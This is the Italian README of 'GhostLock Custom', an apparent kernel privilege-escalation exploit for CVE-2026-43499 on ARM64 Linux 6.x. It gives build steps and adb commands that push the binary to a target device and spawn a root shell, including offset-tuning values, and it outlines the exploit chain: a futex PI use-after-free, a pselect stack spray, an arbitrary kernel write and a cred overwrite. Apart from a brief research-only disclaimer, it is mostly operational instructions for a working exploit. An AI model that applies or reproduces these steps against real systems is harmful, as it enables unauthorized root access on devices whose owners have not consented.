GhostLock Custom — Adattamento per CVE-2026-43499

Exploit di elevazione privilegi GhostLock (CVE-2026-43499) per kernel non Android Linux 6.x ARM64.

Caratteristiche del kernel

Compilazione

Compilazione locale (richiede cross-compilatore)

make

Compilazione con Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (compilazione cloud)

La compilazione viene attivata automaticamente dopo il push; scaricare l'artifact.

Utilizzo

# Inviare al dispositivo di destinazione
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Ottenere una shell root
adb shell /data/local/tmp/e --shell

# Regolare l'offset di pselect (se il valore predefinito non funziona)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Specificare l'indirizzo di caricamento fisico
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Variabili d'ambiente

Principio di elevazione privilegi

1. Gara futex PI: FUTEX_CMP_REQUEUE_PI innesca la UAF in remove_waiter()
2. Overflow dello stack di pselect: il rt_mutex_waiter liberato finisce nel buffer stack_fds
3. Scrittura nell'albero PI: scrittura arbitraria in indirizzi di memoria del kernel tramite un fake waiter costruito ad arte
4. Sovrascrittura di cred: task_struct->cred viene sovrascritto con init_cred

Note sull'adattamento

Questa versione è una versione semplificata di ghostlock-oneplus:

• Rimosso il codice di disabilitazione di SELinux (questo kernel non ha SELinux)
• Rimossi i codici relativi ad ashmem/configfs (questo kernel non ha questi componenti)
• Rimosso il codice di installazione di KernelSU
• Rimossa la leak di KASLR SLIDE (nessun loggers/nfulnl_logger)
• Rimossi i codici specifici per Android (miniADB, ecc.)

Risoluzione dei problemi

Disclaimer

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza. L'utente è l'unico responsabile di ogni utilizzo.